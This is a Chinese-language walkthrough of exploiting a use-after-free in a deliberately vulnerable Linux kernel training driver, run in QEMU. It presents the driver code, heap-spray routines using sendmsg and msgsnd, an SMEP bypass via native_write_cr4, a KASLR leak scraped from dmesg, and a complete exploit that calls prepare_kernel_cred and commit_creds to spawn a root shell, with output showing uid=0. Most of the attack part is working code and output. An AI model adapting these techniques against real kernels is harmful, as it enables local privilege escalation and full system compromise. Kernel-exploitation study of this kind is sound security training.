参考:https://xz.aliyun.com/t/6286

运行的脚本

qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd  ./vuln_driver.cpio \
-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet aslr" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-cpu qemu64,+smep,+smap \
-s \
-nographic  
# -smp cores=4,threads=2

提取内核

#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011      Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------

check_vmlinux()
{
	# Use readelf to check if it's a valid ELF
	# TODO: find a better to way to check that it's really vmlinux
	#       and not just an elf
	readelf -h $1 > /dev/null 2>&1 || return 1

	cat $1
	exit 0
}

try_decompress()
{
	# The obscure use of the "tr" filter is to work around older versions of
	# "grep" that report the byte offset of the line instead of the pattern.

	# Try to find the header ($1) and decompress from here
	for	pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
	do
		pos=${pos%%:*}
		tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
		check_vmlinux $tmp
	done
}

# Check invocation:
me=${0##*/}
img=$1
if	[ $# -ne 1 -o ! -s "$img" ]
then
	echo "Usage: $me <kernel-image>" >&2
	exit 2
fi

# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0

# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy    gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh'          xy    bunzip2
try_decompress '\135\0\0\0'   xxx   unlzma
try_decompress '\211\114\132' xy    'lzop -d'
try_decompress '\002!L\030'   xxx   'lz4 -d'
try_decompress '(\265/\375'   xxx   unzstd

# Finally check for uncompressed images or objects:
check_vmlinux $img

# Bail out:
echo "$me: Cannot find vmlinux." >&2

命令

./tiqu.sh bzImage > vmlinux

提取rop链

ROPgadget --binary vmlinux > ropgadget

堆喷函数之sendmsg

只要传入size大于44,就能控制kmalloc申请的内核空间的数据。

//限制: BUFF_SIZE > 44
char buff[BUFF_SIZE];
struct msghdr msg = {0};
struct sockaddr_in addr = {0};
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_family = AF_INET;
addr.sin_port = htons(6666);
// 布置用户空间buff的内容
msg.msg_control = buff;
msg.msg_controllen = BUFF_SIZE; 
msg.msg_name = (caddr_t)&addr;
msg.msg_namelen = sizeof(addr);
// 假设此时已经产生释放对象,但指针未清空
for(int i = 0; i < 100000; i++) {
  sendmsg(sockfd, &msg, 0);
}
// 触发UAF即可

堆喷射函数之msgsnd

前0x30字节不可控。数据量越大(本文示例是96字节),发生阻塞可能性越大

// 只能控制0x30字节以后的内容
struct {
  long mtype;
  char mtext[BUFF_SIZE];
}msg;
memset(msg.mtext, 0x42, BUFF_SIZE-1); // 布置用户空间的内容
msg.mtext[BUFF_SIZE] = 0;
int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
msg.mtype = 1; //必须 > 0
// 假设此时已经产生释放对象,但指针未清空
for(int i = 0; i < 120; i++)
  msgsnd(msqid, &msg, sizeof(msg.mtext), 0);
// 触发UAF即可

漏洞分析

查看代码

// vuln_driver.c: do_ioctl()驱动号分配函数
static long do_ioctl(struct file *filp, unsigned int cmd, unsigned long args)
{
    int ret;
    unsigned long *p_arg = (unsigned long *)args;
    ret = 0;

    switch(cmd) {
        case DRIVER_TEST:
            printk(KERN_WARNING "[x] Talking to device [x]\n");
            break;
        case ALLOC_UAF_OBJ:
            alloc_uaf_obj(args);
            break;
        case USE_UAF_OBJ:
            use_uaf_obj();
            break;
        case ALLOC_K_OBJ:
            alloc_k_obj((k_object *) args);
            break;
        case FREE_UAF_OBJ:
            free_uaf_obj();
            break;
    }
    return ret;
}

uaf_obj结构体

	typedef struct uaf_obj
	{
		char uaf_first_buff[56];
		long arg;
		void (*fn)(long);

		char uaf_second_buff[12];

	}uaf_obj;

大小是84,实际申请时会分配一个96字节的堆块。

k_object结构体

typedef struct k_object
 {
     char kobj_buff[96];
 }k_object;

本例中我们可以申请96大小的k_object对象,并在堆块上任意布置数据,但这样的话就太简单了点,实际漏洞利用中怎么会这么巧就让你控制堆上的数据呢。所以我们需要找到某些用户可调用的函数,它会在内核空间申请指定大小的chunk(本例中我们希望能分配到96字节的块),并把用户的数据拷贝过去。

主要代码如下,漏洞就是在释放堆时,未将存放堆地址的全局变量清零。

// 1. uaf_callback() 一个简单的回调函数
  uaf_obj *global_uaf_obj = NULL;
  static void uaf_callback(long num)
    {
        printk(KERN_WARNING "[-] Hit callback [-]\n");
    }   

// 2. 分配一个uaf对象,fn指向回调函数uaf_callback,第一个缓冲区uaf_first_buff填充"A"。 global_uaf_obj全局变量指向该对象
	static int alloc_uaf_obj(long __user arg)
	{
		struct uaf_obj *target;
		target = kmalloc(sizeof(uaf_obj), GFP_KERNEL);      //为uaf_obj分配空间
		if(!target) {
			printk(KERN_WARNING "[-] Error no memory [-]\n");
			return -ENOMEM;
		}
		target->arg = arg;              //用户指定
		target->fn = uaf_callback;      //指向uaf_callback
		memset(target->uaf_first_buff, 0x41, sizeof(target->uaf_first_buff));//uaf_first_buff用A来填充
		global_uaf_obj = target;//指针给global_uaf_obj
		printk(KERN_WARNING "[x] Allocated uaf object [x]\n");
		return 0;
	}

// 3. 释放uaf对象,但未清空global_uaf_obj指针
    static void free_uaf_obj(void)
    {
        kfree(global_uaf_obj);
        //global_uaf_obj = NULL 
        printk(KERN_WARNING "[x] uaf object freed [x]");
    }

// 4. 使用uaf对象,调用成员fn指向的函数
    static void use_uaf_obj(void)
    {
        if(global_uaf_obj->fn)
        {
            //debug info
            printk(KERN_WARNING "[x] Calling 0x%p(%lu)[x]\n", global_uaf_obj->fn, global_uaf_obj->arg);

            global_uaf_obj->fn(global_uaf_obj->arg);
        }
    }

// 5. 分配k_object对象,并从用户地址user_kobj拷贝数据到分配的地址
    static int alloc_k_obj(k_object *user_kobj)
    {
        k_object *trash_object = kmalloc(sizeof(k_object), GFP_KERNEL);
        int ret;

        if(!trash_object) {
            printk(KERN_WARNING "[x] Error allocating k_object memory [-]\n");
            return -ENOMEM;
        }

        ret = copy_from_user(trash_object, user_kobj, sizeof(k_object));
        printk(KERN_WARNING "[x] Allocated k_object [x]\n");
        return 0;
    }

利用思路

思路:如果uaf_obj被释放,但指向它的global_uaf_obj变量未清零,若另一个对象分配到相同的cache,并且能够控制该cache上的内容,我们就能控制fn()调用的函数。

测试:本例中我们可以利用k_object对象来布置堆数据,将uaf_obj对象的fn指针覆盖为0x4242424242424242。完整代码如下

#define _GNU_SOURCE
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>

//#include "common.h"
//#include "vuln_driver.h"
#ifndef _VULN_DRIVER_
	#define _VULN_DRIVER_
	#define DEVICE_NAME "vulnerable_device"
	#define IOCTL_NUM 0xFE
	#define DRIVER_TEST _IO (IOCTL_NUM, 0) 
	#define BUFFER_OVERFLOW _IOR (IOCTL_NUM, 1, char *)
	#define NULL_POINTER_DEREF _IOR (IOCTL_NUM, 2, unsigned long)
	#define ALLOC_UAF_OBJ _IO (IOCTL_NUM, 3)
	#define USE_UAF_OBJ _IO (IOCTL_NUM, 4)
	#define ALLOC_K_OBJ _IOR (IOCTL_NUM, 5, unsigned long)
	#define FREE_UAF_OBJ _IO(IOCTL_NUM, 6)
	#define ARBITRARY_RW_INIT _IOR(IOCTL_NUM, 7, unsigned long)
	#define ARBITRARY_RW_REALLOC _IOR(IOCTL_NUM, 8, unsigned long)
	#define ARBITRARY_RW_READ _IOWR(IOCTL_NUM, 9, unsigned long)
	#define ARBITRARY_RW_SEEK _IOR(IOCTL_NUM, 10, unsigned long)
	#define ARBITRARY_RW_WRITE _IOR(IOCTL_NUM, 11, unsigned long)
	#define UNINITIALISED_STACK_ALLOC _IOR(IOCTL_NUM, 12, unsigned long)
	#define UNINITIALISED_STACK_USE _IOR(IOCTL_NUM, 13, unsigned long)
#endif

#define BUFF_SIZE 96

typedef struct k_object         //96字节
{
	char buff[BUFF_SIZE];
}k_object;

void use_after_free_kobj(int fd)
{
     k_object *obj = malloc(sizeof(k_object));
    
    //60 bytes overwrites the last 4 bytes of the address
    memset(obj->buff, 0x42, 96); 

    ioctl(fd, ALLOC_UAF_OBJ, NULL);     //为uaf_obj分配空间(96字节)
    ioctl(fd, FREE_UAF_OBJ, NULL);      //free这个global uaf_object

    ioctl(fd, ALLOC_K_OBJ, obj);        //为k_object分配空间(96字节),此时分配到同一个地址
    ioctl(fd, USE_UAF_OBJ, NULL);       //调用global_uaf_obj->fn,其中参数为global_uaf_obj->arg
    return ;
}

int main(void)
{
	int fd = open("/dev/vulnerable_device", O_RDWR);    //打开设备
	if (fd<0){
		printf("[-] Open error!\n");
		return 0;
	}
	use_after_free_kobj(fd);
	return 0;
}

运行后

/ $ ./easy_uaf 
[    7.352068] general protection fault: 0000 [#1] SMP 
[    7.352183] Modules linked in: vuln_driver(OE)
[    7.352183] CPU: 0 PID: 100 Comm: easy_uaf Tainted: G           OE   4.4.184 #1
[    7.352183] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
[    7.352183] task: ffff88000f910cc0 ti: ffff88000f95c000 task.ti: ffff88000f95c000
[    7.352183] RIP: 0010:[<4242424242424242>]  [<4242424242424242>] 0x4242424242424242
...
...

漏洞利用

绕过SMEP

CR4寄存器的第20位为1,则表示开启了SMEP,若执行到用户指令,就会报错”BUG: unable to handle kernel paging request at 0xxxxxx”

最简单的方法是通过native_write_cr4()函数:

// /arch/x86/include/asm/special_insns.h
static inline void native_write_cr4(unsigned long val)
{
    asm volatile("mov %0,%%cr4": : "r" (val), "m" (__force_order));
}

本文用到的vuln_driver简化了利用过程,否则我们还需要控制第1个参数,所以利用目标就是:global_uaf_obj->fn(global_uaf_obj->arg) ---> native_write_cr4(global...->arg).也即执行native_write_cr4(0x407f0)即可.

利用堆喷进行uaf

sendmsg注意:分配堆块必须大于44。

//用sendmsg构造堆喷,一个通用接口搞定,只需传入待执行的目标地址+参数
void use_after_free_sendmsg(int fd, size_t target, size_t arg)
{
    char buff[BUFF_SIZE];
    struct msghdr msg={0};
    struct sockaddr_in addr={0};
    int sockfd = socket(AF_INET,SOCK_DGRAM,0);
    // 布置堆喷数据
    memset(buff,0x43,sizeof buff);
    memcpy(buff+56,&arg,sizeof(long));
    memcpy(buff+56+(sizeof(long)),&target,sizeof(long));

    addr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
    addr.sin_family=AF_INET;
    addr.sin_port=htons(6666);

    // buff是堆喷射的数据,BUFF_SIZE是最后要调用KMALLOC申请的大小
    msg.msg_control=buff;
    msg.msg_controllen=BUFF_SIZE;
    msg.msg_name=(caddr_t)&addr;
    msg.msg_namelen= sizeof(addr);
    // 构造UAF对象
    ioctl(fd,ALLOC_UAF_OBJ,NULL);
    ioctl(fd,FREE_UAF_OBJ,NULL);
    //开始堆喷
    for (int i=0;i<10000;i++){
        sendmsg(sockfd,&msg,0);
    }
    //触发
    ioctl(fd,USE_UAF_OBJ,NULL);
}

msgsnd注意:msgsnd堆喷必须减去头部长度48,前48字节不可控。

//用msgsnd构造堆喷
int use_after_free_msgsnd(int fd, size_t target, size_t arg)
{
    int new_len=BUFF_SIZE-48;
    struct {
        size_t mtype;
        char mtext[new_len];
    } msg;
    //布置堆喷数据,必须减去头部48字节
    memset(msg.mtext,0x42,new_len-1);
    memcpy(msg.mtext+56-48,&arg,sizeof(long));
    memcpy(msg.mtext+56-48+(sizeof(long)),&target,sizeof(long));
    msg.mtext[new_len]=0;
    msg.mtype=1; //mtype必须 大于0

    // 创建消息队列
    int msqid=msgget(IPC_PRIVATE,0644 | IPC_CREAT);
    // 构造UAF对象
    ioctl(fd, ALLOC_UAF_OBJ,NULL);
    ioctl(fd,FREE_UAF_OBJ,NULL);
    //开始堆喷
    for (int i=0;i<120;i++)
        msgsnd(msqid,&msg,sizeof(msg.mtext),0);
    //触发
    ioctl(fd,USE_UAF_OBJ,NULL);
}

开始测试

完整的代码如下

#define _GNU_SOURCE
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/msg.h>

#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>

#ifndef _VULN_DRIVER_
	#define _VULN_DRIVER_
	#define DEVICE_NAME "vulnerable_device"
	#define IOCTL_NUM 0xFE
	#define DRIVER_TEST _IO (IOCTL_NUM,0)
	#define BUFFER_OVERFLOW _IOR (IOCTL_NUM,1,char *)
	#define NULL_POINTER_DEREF _IOR (IOCTL_NUM,2,unsigned long)
	#define ALLOC_UAF_OBJ _IO (IOCTL_NUM,3)
	#define USE_UAF_OBJ _IO (IOCTL_NUM,4)
	#define ALLOC_K_OBJ _IOR (IOCTL_NUM,5,unsigned long)
	#define FREE_UAF_OBJ _IO (IOCTL_NUM,6)
	#define ARBITRARY_RW_INIT _IOR(IOCTL_NUM,7 unsigned long)
	#define ARBITRARY_RW_REALLOC _IOR(IOCTL_NUM,8,unsigned long)
	#define ARBITRARY_RW_READ _IOWR(IOCTL_NUM,9,unsigned long)
	#define ARBITRARY_RW_SEEK _IOR(IOCTL_NUM,10,unsigned long)
	#define ARBITRARY_RW_WRITE _IOR(IOCTL_NUM,11,unsigned long)
	#define UNINITIALISED_STACK_ALLOC _IOR(IOCTL_NUM,12,unsigned long)
	#define UNINITIALISED_STACK_USE _IOR(IOCTL_NUM,13,unsigned long)
#endif

#define BUFF_SIZE 96

typedef struct uaf_obj          //96字节
{
	char uaf_first_buff[56];
	long arg;
	void (*fn)(long);
	char uaf_second_buff[12];
};

//用sendmsg构造堆喷,一个通用接口搞定,只需传入待执行的目标地址+参数
void use_after_free_sendmsg(int fd, size_t target, size_t arg)
{
	char buff[BUFF_SIZE];       //96
	struct msghdr msg={0};
	struct sockaddr_in addr={0};
	int sockfd = socket(AF_INET,SOCK_DGRAM,0);
    // 布置堆喷数据
	memset(buff,0x43,sizeof buff);//96字节全部用c填满
	memcpy(buff+56,&arg,sizeof(long));          //伪造 long arg;
	memcpy(buff+56+(sizeof(long)),&target,sizeof(long));    //伪造    char uaf_second_buff[12];

	addr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
	addr.sin_family=AF_INET;
	addr.sin_port=htons(6666);

	msg.msg_control=buff;           //buff是堆喷射的数据
	msg.msg_controllen=BUFF_SIZE;   //BUFF_SIZE是最后要调用KMALLOC申请的大小
	msg.msg_name=(caddr_t)&addr;
	msg.msg_namelen= sizeof(addr);
	// 构造UAF对象
	ioctl(fd,ALLOC_UAF_OBJ,NULL);   //为uaf_obj分配空间(96字节)
	ioctl(fd,FREE_UAF_OBJ,NULL);    //free这个global uaf_object
	//开始堆喷
	for (int i=0;i<10000;i++){
		sendmsg(sockfd,&msg,0);
	}
	//触发
	ioctl(fd,USE_UAF_OBJ,NULL);     //调用global_uaf_obj->fn,其中参数为global_uaf_obj->arg
}

//用msgsnd构造堆喷
int use_after_free_msgsnd(int fd, size_t target, size_t arg)
{
	int new_len=BUFF_SIZE-48;       //96-48=48
	struct {
		size_t mtype;
		char mtext[new_len];
	} msg;
	//布置堆喷数据
	memset(msg.mtext,0x42,new_len-1);
	memcpy(msg.mtext+56-48,&arg,sizeof(long));
	memcpy(msg.mtext+56-48+(sizeof(long)),&target,sizeof(long));
	msg.mtext[new_len]=0;
	msg.mtype=1; //mtype必须 大于0

	// 创建消息队列
	int msqid=msgget(IPC_PRIVATE,0644 | IPC_CREAT);
	// 构造UAF对象
	ioctl(fd, ALLOC_UAF_OBJ,NULL);      //为uaf_obj分配空间(96字节)
	ioctl(fd,FREE_UAF_OBJ,NULL);        //free这个global uaf_object
	//开始堆喷
	for (int i=0;i<120;i++)
		msgsnd(msqid,&msg,sizeof(msg.mtext),0);
	//触发
	ioctl(fd,USE_UAF_OBJ,NULL);         //调用global_uaf_obj->fn,其中参数为global_uaf_obj->arg
}


#define MMAP_ADDR 0x100000000000        // 用户地址,放用户代码
#define PATH "/dev/vulnerable_device"

void stub()         // 此函数仅用作测试
{
	int x=0;
	x++;
}

int main()
{
	size_t native_write_cr4_addr=0xffffffff81065a30;        //push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
	size_t fake_cr4=0x407e0;

	void *addr=mmap((void *)MMAP_ADDR,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_SHARED|MAP_ANON,0,0);//在用户空间分配空间
	void **fn=MMAP_ADDR;

	memcpy(fn,stub,128);                // 拷贝stub代码到 MMAP_ADDR
	int fd=open(PATH,O_RDWR);           //打开设备
	ioctl(fd,DRIVER_TEST,NULL);         //打印一个字符串,用于标识dmesg中字符串的开始

	use_after_free_sendmsg(fd,native_write_cr4_addr,fake_cr4);      //这个堆喷是绕过smep,执行native_write_cr4(0x407f0)
	use_after_free_sendmsg(fd,MMAP_ADDR,0);                         //这个堆喷是运行用户空间代码

	
//	use_after_free_msgsnd(fd,native_write_cr4_addr,fake_cr4);
//	use_after_free_msgsnd(fd,MMAP_ADDR,0);
	
	return 0;
}

运行程序,程序确实运行到了0x100000000000

[----------------------------------registers-----------------------------------]
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0x100000000000:	push   rbp
   0x100000000001:	mov    rbp,rsp
   0x100000000004:	mov    DWORD PTR [rbp-0x4],0x0
   0x10000000000b:	add    DWORD PTR [rbp-0x4],0x1
[------------------------------------stack-------------------------------------]

KASLR绕过

目标:泄露kernel地址,获取native_write_cr4、prepare_kernel_cred、commit_creds函数地址。

说明:一般都会开启kptr_restrict保护,不能读取/proc/kallsyms,但是通常可以dmesg读取内核打印的信息。

方法:由dmesg可以想到,构造pagefault,利用内核打印信息来泄露kernel地址。

步骤如下

  • 在子线程中触发page_fault,从dmesg读取打印信息
  • 找到SyS_ioctl+0x79地址,计算kernel_base
  • 计算3个目标函数地址

整合exp

单核运行

//让程序只在单核上运行,以免只关闭了1个核的smep,却在另1个核上跑shell
void force_single_core()
{
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(0,&mask);

    if (sched_setaffinity(0,sizeof(mask),&mask))
        printf("[-----] Error setting affinity to core0, continue anyway, exploit may fault \n");
    return;
}

泄露kernel基址

// 构造 page_fault 泄露kernel地址。从dmesg读取后写到/tmp/infoleak,再读出来
    pid_t pid=fork();
    if (pid==0){
        do_page_fault();
        exit(0);
    }
    int status;
    wait(&status);    // 等子进程结束
    //sleep(10);
    printf("[+] Begin to leak address by dmesg![+]\n");
    size_t kernel_base = get_info_leak()-sys_ioctl_offset;
    printf("[+] Kernel base addr : %p [+] \n", kernel_base);

    native_write_cr4_addr+=kernel_base;
    prepare_kernel_cred_addr+=kernel_base;
    commit_creds_addr+=kernel_base;

关闭smep,并提权

//关闭smep,并提权
    use_after_free_sendmsg(fd,native_write_cr4_addr,fake_cr4);
    use_after_free_sendmsg(fd,get_root,0);   //MMAP_ADDR
    //use_after_free_msgsnd(fd,native_write_cr4_addr,fake_cr4);
    //use_after_free_msgsnd(fd,get_root,0);  //MMAP_ADDR

    if (getuid()==0)
    {
        printf("[+] Congratulations! You get root shell !!! [+]\n");
        system("/bin/sh");
    }

最终运行结果

[+] Begin to leak address by dmesg![+]
[+] Kernel base addr : 0xffffffff83000000 [+] 
[+] We can get 3 important function address ![+]
        native_write_cr4_addr = 0xffffffff83065a30
        prepare_kernel_cred_addr = 0xffffffff830a6ca0
        commit_creds_addr = 0xffffffff830a68b0
[  183.305275] [x] Allocated uaf object [x]
[  183.308903] [x] uaf object freed [x]
[  183.341381] [x] Calling 0xffffffff83065a30(264176)[x]
[  183.351574] [x] Allocated uaf object [x]
[  183.356849] [x] uaf object freed [x]
[  183.392989] [x] Calling 0x0000000000400f1b(0)[x]
[+] Congratulations! You get root shell !!! [+]
/ # id
uid=0 gid=0

其中完整的代码如下

#define _GNU_SOURCE
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/msg.h>

#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>

#ifndef _VULN_DRIVER_
	#define _VULN_DRIVER_
	#define DEVICE_NAME "vulnerable_device"
	#define IOCTL_NUM 0xFE
	#define DRIVER_TEST _IO (IOCTL_NUM,0)
	#define BUFFER_OVERFLOW _IOR (IOCTL_NUM,1,char *)
	#define NULL_POINTER_DEREF _IOR (IOCTL_NUM,2,unsigned long)
	#define ALLOC_UAF_OBJ _IO (IOCTL_NUM,3)
	#define USE_UAF_OBJ _IO (IOCTL_NUM,4)
	#define ALLOC_K_OBJ _IOR (IOCTL_NUM,5,unsigned long)
	#define FREE_UAF_OBJ _IO (IOCTL_NUM,6)
	#define ARBITRARY_RW_INIT _IOR(IOCTL_NUM,7 unsigned long)
	#define ARBITRARY_RW_REALLOC _IOR(IOCTL_NUM,8,unsigned long)
	#define ARBITRARY_RW_READ _IOWR(IOCTL_NUM,9,unsigned long)
	#define ARBITRARY_RW_SEEK _IOR(IOCTL_NUM,10,unsigned long)
	#define ARBITRARY_RW_WRITE _IOR(IOCTL_NUM,11,unsigned long)
	#define UNINITIALISED_STACK_ALLOC _IOR(IOCTL_NUM,12,unsigned long)
	#define UNINITIALISED_STACK_USE _IOR(IOCTL_NUM,13,unsigned long)
#endif

#define BUFF_SIZE 96
#define PATH "/dev/vulnerable_device"


typedef struct uaf_obj
{
	char uaf_first_buff[56];
	long arg;
	void (*fn)(long);
	char uaf_second_buff[12];
};


void force_single_core()        //让程序只在单核上运行,以免只关闭了1个核的smep,却在另1个核上跑shell
{
	cpu_set_t mask;
	CPU_ZERO(&mask);
	CPU_SET(0,&mask);

	if (sched_setaffinity(0,sizeof(mask),&mask))
		printf("[-----] Error setting affinity to core0, continue anyway, exploit may fault \n");
	return;
}

//用sendmsg构造堆喷,一个通用接口搞定,只需传入待执行的目标地址+参数
void use_after_free_sendmsg(int fd, size_t target, size_t arg)
{
	char buff[BUFF_SIZE];
	struct msghdr msg={0};
	struct sockaddr_in addr={0};
	int sockfd = socket(AF_INET,SOCK_DGRAM,0);
    // 布置堆喷数据
	memset(buff,0x43,sizeof buff);
	memcpy(buff+56,&arg,sizeof(long));
	memcpy(buff+56+(sizeof(long)),&target,sizeof(long));

	addr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
	addr.sin_family=AF_INET;
	addr.sin_port=htons(6666);

	// buff是堆喷射的数据,BUFF_SIZE是最后要调用KMALLOC申请的大小
	msg.msg_control=buff;
	msg.msg_controllen=BUFF_SIZE;
	msg.msg_name=(caddr_t)&addr;
	msg.msg_namelen= sizeof(addr);
	// 构造UAF对象
	ioctl(fd,ALLOC_UAF_OBJ,NULL);
	ioctl(fd,FREE_UAF_OBJ,NULL);
	//开始堆喷
	for (int i=0;i<10000;i++){
		sendmsg(sockfd,&msg,0);
	}
	//触发
	ioctl(fd,USE_UAF_OBJ,NULL);
}

//用msgsnd构造堆喷
int use_after_free_msgsnd(int fd, size_t target, size_t arg)
{
	int new_len=BUFF_SIZE-48;
	struct {
		size_t mtype;
		char mtext[new_len];
	} msg;
	//布置堆喷数据
	memset(msg.mtext,0x42,new_len-1);
	memcpy(msg.mtext+56-48,&arg,sizeof(long));
	memcpy(msg.mtext+56-48+(sizeof(long)),&target,sizeof(long));
	msg.mtext[new_len]=0;
	msg.mtype=1; //mtype必须 大于0

	// 创建消息队列
	int msqid=msgget(IPC_PRIVATE,0644 | IPC_CREAT);
	// 构造UAF对象
	ioctl(fd, ALLOC_UAF_OBJ,NULL);
	ioctl(fd,FREE_UAF_OBJ,NULL);
	//开始堆喷
	for (int i=0;i<120;i++)
		msgsnd(msqid,&msg,sizeof(msg.mtext),0);
	//触发
	ioctl(fd,USE_UAF_OBJ,NULL);
}

// 触发page_fault 泄露kernel基址
void do_page_fault()
{
	size_t info_leak_magic=0xffffffffffe39dd7; //0x41414141deadbeef    //只要是无法访问的地址就行,触发page_fault
	int child_fd=open(PATH,O_RDWR);
	//use_after_free_msgsnd(child_fd, info_leak_magic, 0); //触发执行info_leak_magic地址处的代码
	use_after_free_sendmsg(child_fd, info_leak_magic, 0);
	return ;
}


#define GREP_INFOLEAK "dmesg | grep SyS_ioctl+0x79 | awk '{print $3}' | cut -d '<' -f 2 | cut -d '>' -f 1 > /tmp/infoleak"
size_t get_info_leak()              //执行dmesg并解析地址
{
	system(GREP_INFOLEAK);
	size_t addr=0;
	FILE *fd=fopen("/tmp/infoleak","r");
	fscanf(fd,"%lx",&addr);
	fclose(fd);
	return addr;
}

size_t prepare_kernel_cred_addr=0xa6ca0;
size_t commit_creds_addr=0xa68b0;
size_t native_write_cr4_addr=0x65a30;
size_t sys_ioctl_offset=0x22bc59;
size_t fake_cr4=0x407f0;

void get_root()         //这个就是提权
{
	char* (*pkc)(int) = prepare_kernel_cred_addr;
	void (*cc)(char*) = commit_creds_addr;
	(*cc)((*pkc)(0));
}

int main()
{

	force_single_core();        // step 1: 只允许在单核上运行

	int fd = open("/dev/vulnerable_device", O_RDWR);
	if (fd<0){
		printf("[-] Open error!\n");
		return 0;
	}
	ioctl(fd,DRIVER_TEST,NULL);  //用于标识dmesg中字符串的开始

	// step 2: 构造 page_fault 泄露kernel地址。从dmesg读取后写到/tmp/infoleak,再读出来
	pid_t pid=fork();
	if (pid==0){
		do_page_fault();
		exit(0);
	}
	int status;
	wait(&status);    // 等子进程结束
	//sleep(10);
	printf("[+] Begin to leak address by dmesg![+]\n");
	size_t kernel_base = get_info_leak()-sys_ioctl_offset;
	printf("[+] Kernel base addr : %p [+] \n", kernel_base);

	native_write_cr4_addr+=kernel_base;
	prepare_kernel_cred_addr+=kernel_base;
	commit_creds_addr+=kernel_base;
	printf("[+] We can get 3 important function address ![+]\n");
	printf("        native_write_cr4_addr = %p\n",native_write_cr4_addr);
	printf("        prepare_kernel_cred_addr = %p\n",prepare_kernel_cred_addr);
	printf("        commit_creds_addr = %p\n",commit_creds_addr);

	// step 3: 关闭smep,并提权
	use_after_free_sendmsg(fd,native_write_cr4_addr,fake_cr4);
	use_after_free_sendmsg(fd,get_root,0);   //MMAP_ADDR
	//use_after_free_msgsnd(fd,native_write_cr4_addr,fake_cr4);
	//use_after_free_msgsnd(fd,get_root,0);  //MMAP_ADDR

	// step 4: 获得shell
	if (getuid()==0)
	{
		printf("[+] Congratulations! You get root shell !!! [+]\n");
		system("/bin/sh");
	}

	close(fd);
	return 0;
}
/*
[+] Kernel base addr : 0xffffffffffdd43a7 [+] 
[+] We can get 3 important function address ![+]
        native_write_cr4_addr = 0xffffffffffe39dd7
        prepare_kernel_cred_addr = 0xffffffffffe7b047
        commit_creds_addr = 0xffffffffffe7ac57

问题1:
 报错:执行0x100000000000处的内容时产生pagefault,可能是访问0x1000002ce8fd地址出错
 gdb-peda$ x /10i $pc
=> 0x100000000000:	push   rbp
   0x100000000001:	mov    rbp,rsp
   0x100000000004:	push   rbx
   0x100000000005:	sub    rsp,0x8
   0x100000000009:	
    mov    rbx,QWORD PTR [rip+0x2ce8ed]        # 0x1000002ce8fd
   0x100000000010:	
    mov    rax,QWORD PTR [rip+0x2ce8ee]        # 0x1000002ce905
   0x100000000017:	mov    edi,0x0
   0x10000000001c:	call   rax
   0x10000000001e:	mov    rdi,rax
   0x100000000021:	call   rbx

[   10.421887] BUG: unable to handle kernel paging request at 00001000002ce8fd
[   10.424836] IP: [<0000100000000009>] 0x100000000009

问题2:
	普通用户权限1000下,不能触发page_fault,所以不能靠dmesg泄露kernel地址。我怀疑是内核的保护机制,在普通用户权限下不会因为pagefault而打印出内核基址。

调试:
ALLOC_UAF_OBJ
.text:0000000000000402                 call    kmem_cache_alloc_trace
USE_UAF_OBJ
.text:0000000000000486                 mov     rdi, [rax+38h]
.text:000000000000048A                 mov     rax, [rax+40h]
.text:000000000000048E                 call    __x86_indirect_thunk_rax

.bss:0000000000001148 global_uaf_obj
$ cat /sys/module/vuln_driver/sections/.text
0xffffffffc0008000
0xffffffffc0000000
*/